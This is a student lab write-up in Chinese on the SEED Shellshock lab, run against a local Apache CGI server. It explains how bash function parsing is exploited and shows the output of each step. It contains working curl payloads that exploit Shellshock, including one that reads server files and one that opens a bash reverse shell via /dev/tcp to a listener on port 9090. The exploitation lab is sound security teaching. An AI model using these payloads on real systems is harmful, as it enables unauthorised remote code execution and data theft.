

lab 3: Shellshock Attack Lab

Task 1: Experimenting with Bash Function

如图，当一个子 bash 进程被创建时，子 shell 将会解析该环境变量，把它转换成子函数定义。在解析的过程中，由于 Shellshock 漏洞的存在，bash 将会执行大括号后面的额外命令，即输出 extra。而在使用正常的 bash 之后，将不会执行该命令。

```
[04/13/21]seed@VM:.../cgi-bin$ foo='() { echo "hello world"; }; echo "extra";'
[04/13/21]seed@VM:.../cgi-bin$ echo $foo
() { echo "hello world"; }; echo "extra";
[04/13/21]seed@VM:.../cgi-bin$ export foo
[04/13/21]seed@VM:.../cgi-bin$ /bin/bash_s
hellshock
extra
<VM:.../cgi-bin$ /bin/bash
[04/13/21]seed@VM:.../cgi-bin$
```

Task 2: Setting up CGI programs

```
root@VM:/usr/lib/cgi-bin# curl http://localhost/cgi-bin/myprog.cgi
Hello World
```

Task 3: Passing Data to Bash via Environment Variable

```
[04/13/21]seed@VM:.../cgi-bin$ curl -A "attacker" http://localhost/cgi-bin/myprog.cgi
***** Environment Variables *****
HTTP_HOST=localhost
HTTP_USER_AGENT=attacker
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/s
bin:/usr/bin:/sbin:/bin
```

当用户向 Apache 服务器发送 CGI 请求时，Apache 服务器会用 `fork()` 来新建一个子进程，去运行 CGI 的 `bash` 脚本，并且 Apache 服务器为这个子进程提供了环境变量，其中，有个环境变量是 `HTTP_USER_AGENT`，它是由客户端发送过来的 `http` 请求头中的 `User-Agent` 信息得来的，这样就将用户发过来的信息传递给了 CGI 脚本。

Task 4: Launching the Shellshock Attack

如下图所示，通过 Shellshock 攻击读取到了服务器的机密文件

```
[04/13/21]seed@VM:~$ curl -A "()" { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://localhost/cgi-bin/myprog.cgi > a.out
% Total    % Received % Xferd  Average Speed   Time    Time
Time  Current                      Dload  Upload  Total  Spent
Left  Speed
0     0    0     0    0     0      0      0  --:--:--  --:--:--
100 8927    0 8927    0     0 1019k      0  --:--:--  --:--:--
--:--:-- 1089k
[04/13/21]seed@VM:~$ tail -5 a.out
//
//      // in the list, don't include times that don't contribute
//      at least this much to the
//      // total time captured. .1% by default
//      $CONFIG->profiling_minimum_percentage = .1;
//}
[04/13/21]seed@VM:~$
```

而 Ubuntu 系统上 Apache 服务器是以 `www-data` 用户 ID 运行的，程序的权限有限，不能访问 `/etc/shadow` 文件，如下图所示

```
[04/13/21]seed@VM:~$ curl -A "()" { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /etc/shadow" http://localhost/cgi-bin/myprog.cgi > b.out
% Total    % Received % Xferd  Average Speed   Time    Time
Time  Current                      Dload  Upload  Total  Spent
Left  Speed
0     0    0     0    0     0      0      0  --:--:--  --:--:--
0     0    0     0    0     0      0      0  --:--:--  --:--:--
--:--:-- 0
[04/13/21]seed@VM:~$ cat b.out
[04/13/21]seed@VM:~$
```

Task 5: Getting a Reverse Shell via Shellshock Attack

1. 先在攻击者的主机(10.0.2.15)设置 TCP 监听服务程序, 端口号为 9090

```
[04/13/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

2. 在攻击者服务器上向受害者主机(10.0.2.4)发送 http 请求, 建立反向 shell

```
[04/13/21]seed@VM:~$ curl -A "() { echo hello;}; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.0.2.4/cgi-bin/myprog.cgi
```

随后能在攻击者主机上接收到反向 shell 传过来的数据, 并且可以看到反向 shell 已经成功建立, 可以使用该 shell 继续向受害者主机发送命令了

```
[04/13/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.4] port 9090 [tcp/*] accepted (family 2, sport 45744)
bash: cannot set terminal process group (2201): Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$
```

为什么能实现反向 shell?

当一个子 bash 进程被创建时, 子 shell 将会解析该环境变量, 把它转换成子函数定义。在解析的过程中, 由于漏洞的存在, bash 将会执行大括号后面的额外命令。在使用 curl -a 命令向受攻击服务器传入构造的 User-Agent 之后, Apache 服务器会创建一个子进程来执行 CGI 程序, 并把解析到的 HTTP_USER_AGENT 传给运行 CGI 程序的子进程, 子进程会因为漏洞的存在去解析并执行其中的恶意代码。该恶意代码会将受害者服务器的 shell 输出重定向到与攻击者建立的 TCP 连接上, 同时 shell 的输入也来自于该 TCP 连接, 进而在攻击者的服务器上成功建立了反向 shell, 能够以 www-data 的身份运行命令了。

Task 6: Using the Patched Bash

1)如图，修改后仍然能通过 user-agent 向 cgi 子进程传入 HTTP_USER_AGENT 环境变量

```
[04/13/21]seed@VM:~/cgi-bin$ curl -A "attacker" http://localhost/cgi-bin/myprog.cgi
***** Environment Variables *****
HTTP_HOST=localhost
HTTP_USER_AGENT=attacker
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/s
```

2) 重新应用 Shellshock 攻击，会发现修补后的 bash 不会将 shell 变量解析为 shell 函数，并且也不会执行

```
[04/13/21]seed@VM:~$ curl -A "() { echo hello;}; echo Content type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://10.0.2.4/cgi-bin/myprog.cgi
***** Environment Variables *****
HTTP_HOST=10.0.2.4
HTTP_USER_AGENT=() { echo hello;}; echo Content type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1
HTTP_ACCEPT=/*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```